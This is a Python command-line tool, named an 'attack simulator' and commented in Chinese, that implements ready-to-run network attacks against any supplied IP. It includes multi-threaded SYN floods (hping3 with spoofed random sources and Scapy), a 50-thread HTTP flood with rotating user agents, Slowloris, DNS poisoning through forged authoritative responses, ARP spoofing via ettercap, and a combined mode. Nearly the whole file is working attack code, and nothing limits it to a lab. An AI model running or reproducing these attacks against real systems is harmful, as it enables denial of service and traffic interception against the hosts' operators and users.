import sys
import os
import subprocess
import threading
import time
import logging
from datetime import datetime
from scapy.all import IP, UDP, DNS, DNSRR, DNSQR, send, sniff, TCP, RandShort

# 配置日志
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
    handlers=[
        logging.StreamHandler(),  # 输出到控制台
        logging.FileHandler('/app/attack.log')  # 输出到文件
    ]
)
logger = logging.getLogger('attack_simulator')

def execute_ddos(target_ip, duration):
    logger.info(f"开始执行DDoS攻击，目标IP: {target_ip}，持续时间: {duration}秒")

    # 增加更多攻击方法
    # 使用多种攻击方式
    attack_methods = [
        lambda: hping3_flood(target_ip),
        lambda: scapy_syn_flood(target_ip, 80, 10000),  # 增加包数量
        lambda: http_flood(target_ip),                   # 新增HTTP洪水
    ]

    # 为每种攻击方法创建多个线程
    threads = []
    for method in attack_methods:
        # 每种攻击方法启动多个线程
        for _ in range(5):  # 每种攻击5个线程
            thread = threading.Thread(target=method)
            thread.daemon = True
            threads.append(thread)
            thread.start()
            logger.info(f"启动攻击线程: {thread.name}")

    # 记录攻击开始时间
    start_time = time.time()
    logger.info(f"攻击开始时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")

    # 等待指定时间
    try:
        while time.time() - start_time < int(duration):
            remaining = int(duration) - int(time.time() - start_time)
            if remaining % 10 == 0:  # 每10秒记录一次
                logger.info(f"攻击进行中，剩余时间: {remaining}秒")
            time.sleep(1)
    except KeyboardInterrupt:
        logger.info("收到中断信号，提前停止攻击")

    logger.info("攻击时间结束，正在停止攻击线程...")

    # 停止所有线程
    for thread in threads:
        thread.join(timeout=1)

    logger.info(f"DDoS攻击完成，目标IP: {target_ip}，持续时间: {int(time.time() - start_time)}秒")

def hping3_flood(target_ip):
    """使用hping3执行SYN洪水攻击"""
    logger.info(f"启动hping3 SYN洪水攻击，目标IP: {target_ip}")
    try:
        # 使用--flood参数进行洪水攻击，-S表示SYN包，-p指定端口，--rand-source使用随机源IP
        cmd = ["hping3", "-S", "--flood", "-p", "80", "--rand-source", target_ip]
        process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        logger.info(f"hping3命令已启动: {' '.join(cmd)}")

        # 每隔5秒记录一次攻击状态
        while process.poll() is None:
            logger.info("hping3攻击正在进行中...")
            time.sleep(5)

        logger.info(f"hping3攻击结束，返回码: {process.returncode}")
    except Exception as e:
        logger.error(f"hping3攻击出错: {str(e)}")

def scapy_syn_flood(target_ip, port=80, num_packets=10000):
    """使用Scapy执行SYN洪水攻击"""
    logger.info(f"启动Scapy SYN洪水攻击，目标IP: {target_ip}，端口: {port}，数据包数量: {num_packets}")
    try:
        sent_count = 0
        start_time = time.time()

        for _ in range(num_packets):
            # 创建随机源端口的SYN包
            sport = RandShort()
            packet = IP(dst=target_ip)/TCP(sport=sport, dport=port, flags="S")

            # 发送数据包
            send(packet, verbose=0)
            sent_count += 1

            # 每发送1000个包记录一次
            if sent_count % 1000 == 0:
                elapsed = time.time() - start_time
                rate = sent_count / elapsed if elapsed > 0 else 0
                logger.info(f"已发送 {sent_count} 个SYN包，速率: {rate:.2f} 包/秒")

        total_time = time.time() - start_time
        logger.info(f"Scapy攻击完成，共发送 {sent_count} 个SYN包，耗时: {total_time:.2f}秒，平均速率: {sent_count/total_time:.2f} 包/秒")
    except Exception as e:
        logger.error(f"Scapy攻击出错: {str(e)}")

def execute_dns_poisoning(target_ip, fake_ip):
    logger.info(f"执行DNS投毒攻击，目标IP: {target_ip}，伪造IP: {fake_ip}")
    # DNS 投毒的目标域名
    target_domain = "baidu.com"
    # 构造伪造的 DNS 响应包
    def dns_poison(pkt):
        if pkt.haslayer(DNS) and pkt[DNS].qr == 0:  # 检查是否为 DNS 查询
            logger.info(f"拦截到DNS查询: {pkt[DNSQR].qname.decode()} 来自 {pkt[IP].src}")
            # 构造伪造的 DNS 响应
            spoofed_pkt = (
                IP(dst=pkt[IP].src, src=pkt[IP].dst) /
                UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /
                DNS(
                    id=pkt[DNS].id,
                    qr=1,  # 响应标志
                    aa=1,  # 权威回答
                    qd=pkt[DNS].qd,  # 查询部分
                    an=DNSRR(rrname=pkt[DNSQR].qname, ttl=10, rdata=fake_ip)  # 伪造的回答部分
                )
            )
            send(spoofed_pkt, verbose=0)  # 发送伪造的 DNS 响应
            logger.info(f"已发送伪造的DNS响应: {pkt[DNSQR].qname.decode()} -> {fake_ip}")

    # 使用 scapy 的 sniff 函数拦截目标 IP 的 DNS 查询
    logger.info(f"开始监听DNS查询，过滤条件: udp port 53 and ip src {target_ip}")
    try:
        sniff(
            filter=f"udp port 53 and ip src {target_ip}",
            prn=dns_poison,
            store=0
        )
    except Exception as e:
        logger.error(f"DNS投毒攻击出错")

def execute_arp_spoofing(target_ip, gateway_ip):
    logger.info(f"执行ARP欺骗攻击，目标IP: {target_ip}，网关IP: {gateway_ip}")
    try:
        cmd = ["ettercap", "-T", "-M", "arp:remote", f"/{target_ip}/", f"/{gateway_ip}/"]
        logger.info(f"执行命令: {' '.join(cmd)}")
        process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        # 读取输出
        for line in process.stdout:
            logger.info(f"ettercap输出: {line.decode().strip()}")

        # 读取错误
        for line in process.stderr:
            logger.error(f"ettercap错误: {line.decode().strip()}")

        process.wait()
        logger.info(f"ARP欺骗攻击结束，返回码: {process.returncode}")
    except Exception as e:
        logger.error(f"ARP欺骗攻击出错: {str(e)}")

def execute_syn_flood(target_ip, port):
    logger.info(f"执行TCP SYN Flood攻击，目标IP: {target_ip}，端口: {port}")
    try:
        cmd = ["hping3", "-S", "-p", str(port), "--flood", target_ip]
        logger.info(f"执行命令: {' '.join(cmd)}")
        process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        # 每隔5秒记录一次攻击状态
        while process.poll() is None:
            logger.info("SYN Flood攻击正在进行中...")
            time.sleep(5)

        logger.info(f"SYN Flood攻击结束，返回码: {process.returncode}")
    except Exception as e:
        logger.error(f"SYN Flood攻击出错: {str(e)}")

def http_flood(target_ip, port=80):
    """执行HTTP洪水攻击"""
    logger.info(f"启动HTTP洪水攻击，目标IP: {target_ip}，端口: {port}")
    try:
        import socket
        import random
        import string

        # 创建用户代理列表，增加真实性
        user_agents = [
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
            "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:90.0) Gecko/20100101 Firefox/90.0",
            "Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Mobile/15E148 Safari/604.1"
        ]

        # 创建请求路径列表
        paths = [
            "/",
            "/index.html",
            "/api/data",
            "/search",
            "/login",
            "/register",
            "/images/large.jpg",
            "/css/style.css",
            "/js/script.js",
            "/products",
            "/services",
            "/contact",
            "/about"
        ]

        # 创建HTTP方法列表
        methods = ["GET", "POST", "HEAD", "PUT", "DELETE", "OPTIONS"]

        # 发送HTTP请求的函数
        def send_requests():
            sent_count = 0
            start_time = time.time()

            while True:
                try:
                    # 创建TCP连接
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.settimeout(1)  # 设置超时时间
                    s.connect((target_ip, port))

                    # 随机选择HTTP方法和路径
                    method = random.choice(methods)
                    path = random.choice(paths)
                    user_agent = random.choice(user_agents)

                    # 生成随机查询参数
                    query_params = ""
                    if random.random() > 0.5:  # 50%的请求带查询参数
                        params = []
                        for _ in range(random.randint(1, 5)):
                            param_name = ''.join(random.choices(string.ascii_lowercase, k=random.randint(3, 10)))
                            param_value = ''.join(random.choices(string.ascii_letters + string.digits, k=random.randint(5, 20)))
                            params.append(f"{param_name}={param_value}")
                        query_params = "?" + "&".join(params)

                    # 构造HTTP请求
                    request = f"{method} {path}{query_params} HTTP/1.1\r\n"
                    request += f"Host: {target_ip}\r\n"
                    request += f"User-Agent: {user_agent}\r\n"
                    request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
                    request += "Accept-Language: en-US,en;q=0.5\r\n"
                    request += "Accept-Encoding: gzip, deflate\r\n"
                    request += "Connection: keep-alive\r\n"

                    # 如果是POST请求，添加请求体
                    if method == "POST":
                        # 生成随机数据
                        data_length = random.randint(10, 1000)
                        data = ''.join(random.choices(string.ascii_letters + string.digits, k=data_length))

                        request += "Content-Type: application/x-www-form-urlencoded\r\n"
                        request += f"Content-Length: {len(data)}\r\n"
                        request += "\r\n"
                        request += data
                    else:
                        request += "\r\n"

                    # 发送请求
                    s.send(request.encode())

                    # 尝试读取响应（可选）
                    try:
                        s.recv(4096)
                    except:
                        pass

                    # 关闭连接
                    s.close()

                    sent_count += 1

                    # 每发送100个请求记录一次
                    if sent_count % 100 == 0:
                        elapsed = time.time() - start_time
                        rate = sent_count / elapsed if elapsed > 0 else 0
                        logger.info(f"已发送 {sent_count} 个HTTP请求，速率: {rate:.2f} 请求/秒")

                except Exception as e:
                    # 忽略错误，继续发送
                    pass

        # 创建多个线程发送请求
        threads = []
        for _ in range(50):  # 50个并发线程
            t = threading.Thread(target=send_requests)
            t.daemon = True
            t.start()
            threads.append(t)
            logger.info(f"启动HTTP洪水攻击线程: {t.name}")

        # 等待所有线程完成（实际上是无限循环，不会自然结束）
        for t in threads:
            t.join()
    except Exception as e:
        logger.error(f"HTTP洪水攻击出错: {str(e)}")

def slowloris_attack(target_ip, port=80, connections=500):
    """执行Slowloris慢速HTTP攻击"""
    logger.info(f"启动Slowloris慢速HTTP攻击，目标IP: {target_ip}，端口: {port}，连接数: {connections}")
    try:
        import socket
        import random
        import string

        # 创建并保持大量半开HTTP连接
        socket_list = []

        # 创建用户代理列表，增加真实性
        user_agents = [
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
            "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:90.0) Gecko/20100101 Firefox/90.0",
            "Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Mobile/15E148 Safari/604.1"
        ]

        logger.info(f"尝试建立 {connections} 个连接...")

        # 建立初始连接
        for i in range(connections):
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(4)
                s.connect((target_ip, port))

                # 发送部分HTTP请求头
                s.send(f"GET /?{random.randint(0, 2000)} HTTP/1.1\r\n".encode())
                s.send(f"Host: {target_ip}\r\n".encode())
                s.send(f"User-Agent: {random.choice(user_agents)}\r\n".encode())
                s.send("Accept-Language: en-US,en;q=0.5\r\n".encode())

                # 保存socket
                socket_list.append(s)

                if i % 100 == 0:
                    logger.info(f"已建立 {i} 个连接")

            except Exception as e:
                logger.error(f"建立连接 {i} 失败: {str(e)}")
                continue

        logger.info(f"成功建立 {len(socket_list)} 个连接，开始发送保活数据...")

        # 保持连接活跃
        while True:
            logger.info(f"发送保活数据到 {len(socket_list)} 个连接...")

            # 计算断开的连接数
            closed = 0

            for s in list(socket_list):
                try:
                    # 每隔一段时间发送部分HTTP头，但不完成请求
                    header = f"X-a: {random.randint(1, 5000)}\r\n"
                    s.send(header.encode())
                except Exception:
                    # 连接已关闭，从列表中移除
                    socket_list.remove(s)
                    closed += 1

                    try:
                        # 尝试创建新连接替换断开的连接
                        new_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                        new_s.settimeout(4)
                        new_s.connect((target_ip, port))
                        new_s.send(f"GET /?{random.randint(0, 2000)} HTTP/1.1\r\n".encode())
                        new_s.send(f"Host: {target_ip}\r\n".encode())
                        new_s.send(f"User-Agent: {random.choice(user_agents)}\r\n".encode())
                        new_s.send("Accept-Language: en-US,en;q=0.5\r\n".encode())
                        socket_list.append(new_s)
                    except Exception:
                        pass

            logger.info(f"本轮有 {closed} 个连接断开，当前活跃连接: {len(socket_list)}")

            # 每15秒发送一次保活数据
            time.sleep(15)
    except Exception as e:
        logger.error(f"Slowloris攻击出错: {str(e)}")

    finally:
        # 清理资源
        logger.info("正在清理Slowloris攻击资源...")
        for s in socket_list:
            try:
                s.close()
            except:
                pass

def main():
    logger.info(f"攻击模拟器启动，参数: {sys.argv}")

    if len(sys.argv) < 2:
        logger.error("参数不足，用法: python attack_simulator.py <attack_type> [parameters...]")
        print("Usage: python attack_simulator.py <attack_type> [parameters...]")
        print("Available attack types:")
        print("  - ddos <target_ip> <duration>")
        print("  - dns_poisoning <target_ip> <fake_ip>")
        print("  - arp_spoofing <target_ip> <gateway_ip>")
        print("  - syn_flood <target_ip> <port>")
        print("  - http_flood <target_ip>")
        print("  - slowloris <target_ip>")
        print("  - combined <target_ip> <duration>")
        sys.exit(1)

    attack_type = sys.argv[1]

    if attack_type == "ddos":
        if len(sys.argv) != 4:
            logger.error("参数不足，用法: python attack_simulator.py ddos <target_ip> <duration>")
            print("Usage: python attack_simulator.py ddos <target_ip> <duration>")
            sys.exit(1)
        target_ip = sys.argv[2]
        duration = int(sys.argv[3])
        execute_ddos(target_ip, duration)

    elif attack_type == "dns_poisoning":
        if len(sys.argv) != 4:
            logger.error("参数不足，用法: python attack_simulator.py dns_poisoning <target_ip> <fake_ip>")
            print("Usage: python attack_simulator.py dns_poisoning <target_ip> <fake_ip>")
            sys.exit(1)
        target_ip = sys.argv[2]
        fake_ip = sys.argv[3]
        execute_dns_poisoning(target_ip, fake_ip)

    elif attack_type == "arp_spoofing":
        if len(sys.argv) != 4:
            logger.error("参数不足，用法: python attack_simulator.py arp_spoofing <target_ip> <gateway_ip>")
            print("Usage: python attack_simulator.py arp_spoofing <target_ip> <gateway_ip>")
            sys.exit(1)
        target_ip = sys.argv[2]
        gateway_ip = sys.argv[3]
        execute_arp_spoofing(target_ip, gateway_ip)

    elif attack_type == "syn_flood":
        if len(sys.argv) != 4:
            logger.error("参数不足，用法: python attack_simulator.py syn_flood <target_ip> <port>")
            print("Usage: python attack_simulator.py syn_flood <target_ip> <port>")
            sys.exit(1)
        target_ip = sys.argv[2]
        port = int(sys.argv[3])
        execute_syn_flood(target_ip, port)

    elif attack_type == "http_flood":
        if len(sys.argv) != 3:
            logger.error("参数不足，用法: python attack_simulator.py http_flood <target_ip>")
            print("Usage: python attack_simulator.py http_flood <target_ip>")
            sys.exit(1)
        target_ip = sys.argv[2]
        http_flood(target_ip)

    elif attack_type == "slowloris":
        if len(sys.argv) != 3:
            logger.error("参数不足，用法: python attack_simulator.py slowloris <target_ip>")
            print("Usage: python attack_simulator.py slowloris <target_ip>")
            sys.exit(1)
        target_ip = sys.argv[2]
        slowloris_attack(target_ip)

    elif attack_type == "combined":
        if len(sys.argv) != 4:
            logger.error("参数不足，用法: python attack_simulator.py combined <target_ip> <duration>")
            print("Usage: python attack_simulator.py combined <target_ip> <duration>")
            sys.exit(1)
        target_ip = sys.argv[2]
        duration = int(sys.argv[3])

        # 启动所有攻击方法
        logger.info(f"启动组合攻击，目标IP: {target_ip}，持续时间: {duration}秒")

        # 创建所有攻击线程
        threads = []

        # 添加HTTP洪水攻击
        http_thread = threading.Thread(target=lambda: http_flood(target_ip))
        http_thread.daemon = True
        threads.append(http_thread)

        # 添加Slowloris攻击
        slowloris_thread = threading.Thread(target=lambda: slowloris_attack(target_ip))
        slowloris_thread.daemon = True
        threads.append(slowloris_thread)

        # 添加SYN洪水攻击
        syn_thread = threading.Thread(target=lambda: execute_syn_flood(target_ip, 80))
        syn_thread.daemon = True
        threads.append(syn_thread)

        # 启动所有线程
        for thread in threads:
            thread.start()
            logger.info(f"启动组合攻击线程: {thread.name}")

        # 等待指定时间
        logger.info(f"组合攻击开始，将持续 {duration} 秒")
        time.sleep(duration)
        logger.info("组合攻击时间结束")

    else:
        logger.error(f"未知的攻击类型: {attack_type}")
        print(f"Unknown attack type: {attack_type}")
        print("Available attack types:")
        print("  - ddos <target_ip> <duration>")
        print("  - dns_poisoning <target_ip> <fake_ip>")
        print("  - arp_spoofing <target_ip> <gateway_ip>")
        print("  - syn_flood <target_ip> <port>")
        print("  - http_flood <target_ip>")
        print("  - slowloris <target_ip>")
        print("  - combined <target_ip> <duration>")
        sys.exit(1)

if __name__ == "__main__":
    main()

